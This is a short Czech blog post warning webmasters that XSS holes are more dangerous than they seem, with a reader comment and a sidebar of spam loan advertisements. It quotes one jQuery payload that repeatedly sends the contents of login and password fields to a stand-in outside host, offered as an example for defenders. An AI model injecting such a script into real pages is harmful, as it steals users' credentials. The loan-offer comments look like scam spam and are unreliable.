S XSS zranitelností se dá napáchat více škody, než si myslíte | Michal Smrčka - blog

S XSS zranitelností se dá napáchat více škody, než si myslíte

Otázka pro webmastery: Víte, co dělá následující jQuery kód?

<script>$(function(){setInterval(function() {$.get('http://nejaky_web.cz/uloz_data.php', {jmeno: $('[name=l_jmeno]').val(), heslo: $('[name=l_heslo]').val() })},500);}); </script>

Pokud nevíte, a zároveň se někde na vašem webu vyskytuje výpis typu „echo $_POST[rocnik] “, upalujte svůj web opravit a vypisované parametry ošetřit.

Jestli provozujete web obsahující např. citlivá data uživatelů, pak vyloženě hazardujete. Za únik dat hrozí právní postih i vám, pokud se prokáže, že nebyla provedena ani nejzákladnější bezpečnostní opatření. Což obrana proti XSS bezesporu je. Více informací na Wikipedii.


Čtěte také:
13. 11. 2010 v 20:45 • Bezpečnost a hacking • autor Michal Smrčka
 

Názory a komentáře k článku


[1] Roman 27. 03. 2011, 21:46
Takhle to využít to mě teda ještě nenapadlo. Drsné:D

Přidat komentář

Jméno
E-mail
Web
Text
    Odesláním souhlasíte s pravidly.

Kategorie blogu

Twitter feed

Poslední články

Poslední komentáře

Nataliya: We are project funder as well as financial lender. We have BG/SBLC specifically for BUY/LEASE at a leasing price of 4%+1% of face value Issuance by HSBC London, Barclays Bank and many other 25 top AA rated Banks. We also secure funding to... Ukázat
WE OFFER ALL KIND OF LOANS - APPLY FOR AFFORDABLE LOANS: WE OFFER ALL KIND OF LOANS - APPLY FOR AFFORDABLE LOANS. We Offers Financial Consulting To Client, Companies Seeking Debt / Loan Financing And Seeking For Working Capital To Start A New Business Or To Expand Existing Business. Interested Parties Should Contact Us For... Ukázat
PergoCF@gmail.com: Are you a business man or woman? Are you in any financial mess or Do you need funds to start up your own business? Do you need a loan to start a nice Small Scale and medium business? Do you have a low... Ukázat
SuiteCapitals@post.com: WE OFFER ALL KIND OF LOANS - APPLY FOR AFFORDABLE LOANS. We Offers Financial Consulting To Client, Companies Seeking Debt / Loan Financing And Seeking For Working Capital To Start A New Business Or To Expand Existing Business. Interested Parties Should Contact Us For... Ukázat
Mehmet Hakan: Zajišťujeme půjčku pro všechny s opakujícím se příjmem - zaměstnanci, podnikatelé, seniory, ženy v MD. Výše úvěru: až 500 000 000 Kč. Během 10 minut provedeme tzv. Scoringového klienta, který vypočítává, kolik peněz si každý klient může půjčit za jak dlouho as vysokou... Ukázat

Vyhledávání

Nastavení

Velikost písma: Abc Abc Abc